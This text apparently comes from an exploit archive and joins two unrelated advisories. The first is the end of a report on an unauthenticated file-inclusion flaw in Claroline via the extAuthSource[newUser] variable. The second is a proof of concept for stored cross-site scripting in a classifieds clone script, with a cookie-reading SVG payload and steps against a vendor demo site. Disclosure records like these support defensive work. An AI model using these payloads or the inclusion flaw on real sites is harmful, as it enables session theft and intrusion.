            $_uid                 = null;
            $claro_loginSucceeded = false;
        }
    }
} //end if is_array($extAuthSource)

Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable. 


Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
######################################################################################
# Exploit Title: Multi Language Olx Clone Script - Stored XSS
# Date: 08.02.2018
# Exploit Author: Varun Bagaria
# Web:
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/olx-clone/
# Category: Web Application
# Version:2.0.6
# Tested on: Windows 7
# CVE: NA
#######################################################################################

Proof of Concept
=================
URL: https://www.phpscriptsmall.com/product/olx-clone/
Attack Vector : Comment
Payload : <svg/onload=alert(document.cookie)>

Reproduction Steps:
------------------------------
1.Access the above URL
2. Click on "User Demo:
3. Application will be redirected to http://under24usd.com/demo/classi/
4. Goto "Register" and Create a New User
5. Now Login into the application and Click on any :Listing"
6. Click on "Comment" -> "Leave Comment" and inject <svg/onload=alert(document.cookie)>
7. Persistent XSS will be executed.